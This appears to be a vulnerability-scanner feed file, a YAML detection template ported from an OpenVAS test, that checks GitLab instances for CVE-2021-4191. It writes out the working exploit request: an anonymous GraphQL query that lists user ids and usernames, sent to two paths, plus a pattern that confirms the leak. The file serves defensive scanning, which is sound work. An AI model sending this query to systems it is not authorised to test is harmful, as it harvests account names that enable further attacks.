  4. Checks gql_rel.body for "users"\s*:\s*\{\s*"nodes"\s*:\s*\[\s*\{\s*"id"\s*:\s*"gid://gitlab/U… → finding QoD 75: GitLab GraphQL user enumeration: an unauthenticated POST /gitlab/api/graphql query{users(first:3){nodes{id username}}} returned GitLab user…

References:

Feed source — tests/vulnerabilities/gitlab/CVE-2021-4191.yaml
# GitLab CE/EE — unauthenticated user enumeration through the GraphQL API (CVE-2021-4191)
#
# Ported from OpenVAS/Greenbone NVT `2022/gitlab/gb_gitlab_user_enum_vuln_feb22_active.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.117992, GPL-2.0-only).
#
# GitLab 13.0 – 14.6.4, 14.7.0 – 14.7.3 and 14.8.0 – 14.8.1 let an anonymous
# client run the GraphQL `users` query with no filter, which returns the user
# list of the instance (ids, usernames). On an instance that restricts
# sign-ups this is the only way an outsider can learn the account names. The
# fix (14.6.5 / 14.7.4 / 14.8.2, app/graphql/resolvers/users_resolver.rb)
# makes an anonymous `users` query require the `usernames:` argument, so a
# full listing is refused with "The resource that you are attempting to access
# does not exist or you don't have permission to perform this action" and
# `"users": null`. Instances that restrict the Public visibility level refuse
# it on every version (no `read_users_list` for anonymous) and stay clean.
#
# Detection — read-only, it is the exploit itself:
#   POST /api/graphql  {"query":"query{users(first:3){nodes{id username}}}"}
#   and require HTTP 200 + a JSON content type + a node carrying a GitLab user
#   global id (`gid://gitlab/User/<n>`) and a username. `first:3` keeps the
#   reply to three accounts; nothing is written on the target.
#
# Deviations from the NASL (improvements):
#   - The NASL accepts any `{"data":{"users":{…{"username":"…"}` body. This
#     feed also requires the GitLab global id `gid://gitlab/User/<n>` (the
#     NASL query is extended with `id`, as in the Nuclei template), so another
#     GraphQL product exposing a `users` field cannot raise a GitLab finding.
#   - The NASL relies on a prior GitLab detection for the install path. This
#     feed probes the proof directly on every http/https port, at the web root
#     and, when the root did not list users, under the common relative URL `/gitlab`
#     (omnibus `external_url 'https://host/gitlab'`).
#   - `first:3` bounds the reply instead of downloading the default page of
#     100 users and reporting 800 bytes of it.
uid: 81093a11-2710-43d1-95bc-1c6f03e25fe6
name: "GitLab GraphQL API Unauthenticated User Enumeration (CVE-2021-4191)"
description: |
  Detects GitLab CE/EE instances (13.0 to 14.6.4, 14.7.0 to 14.7.3, 14.8.0 to
  14.8.1) whose GraphQL API returns the user list to an unauthenticated
  `users` query (CVE-2021-4191). The feed runs that query, bounded to three
  users, and reports only when the reply carries GitLab user global ids and
  usernames, i.e. when the enumeration actually succeeded.
cves: [CVE-2021-4191]
cvss: 5.3
severity: medium
confidence_base: 0.30
category: exposure
tags: [gitlab, graphql, user-enumeration, information-disclosure, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2021-4191"
  - "https://about.gitlab.com/releases/2022/02/25/critical-security-release-gitlab-14-8-2-released/"
  - "https://www.rapid7.com/blog/post/2022/03/03/cve-2021-4191-gitlab-graphql-api-user-enumeration-fixed/"

steps:
  # The exploit: an anonymous, unfiltered `users` query (NASL request + `id`,
  # bounded to three nodes).
  - id: graphql-users
    action: http_request
    method: POST
    path: "/api/graphql"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    headers:
      Content-Type: "application/json"
      Accept: "application/json"
    body: '{"query":"query{users(first:3){nodes{id username}}}"}'
    store_as: gql

  # A patched GitLab answers 200 with `"users":null` + a permission error, so
  # the node pattern only matches when the listing was actually returned.
  - id: users-listed
    action: match
    source: gql.body
    pattern: '"users"\s*:\s*\{\s*"nodes"\s*:\s*\[\s*\{\s*"id"\s*:\s*"gid://gitlab/User/[0-9]+"\s*,\s*"username"\s*:\s*"[^"]+"'
    condition: 'gql.status == 200 && type_of(gql.headers["content-type"]) == "string" && stridx(gql.headers["content-type"], "application/json") >= 0'
    on_match:
      finding:
        confidence_delta: 0.55
        qod: 75
        evidence: "GitLab GraphQL user enumeration: an unauthenticated POST /api/graphql query{users(first:3){nodes{id username}}} returned GitLab user ids and usernames (CVE-2021-4191)"
      stop: true

  # Same exploit under the common relative URL root `/gitlab`. Reached only
  # when the web root did not list users (a match above stops the test).
  - id: graphql-users-relative
    action: http_request
    method: POST
    path: "/gitlab/api/graphql"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    headers:
      Content-Type: "application/json"
      Accept: "application/json"
    body: '{"query":"query{users(first:3){nodes{id username}}}"}'
    store_as: gql_rel

  - id: users-listed-relative
    action: match
    source: gql_rel.body
    pattern: '"users"\s*:\s*\{\s*"nodes"\s*:\s*\[\s*\{\s*"id"\s*:\s*"gid://gitlab/User/[0-9]+"\s*,\s*"username"\s*:\s*"[^"]+"'
    condition: 'gql_rel.status == 200 && type_of(gql_rel.headers["content-type"]) == "string" && stridx(gql_rel.headers["content-type"], "application/json") >= 0'
    on_match:
      finding:
        confidence_delta: 0.55
        qod: 75
        evidence: "GitLab GraphQL user enumeration: an unauthenticated POST /gitlab/api/graphql query{users(first:3){nodes{id username}}} returned GitLab user ids and usernames (CVE-2021-4191)"
      stop: true

View these feeds on GitHub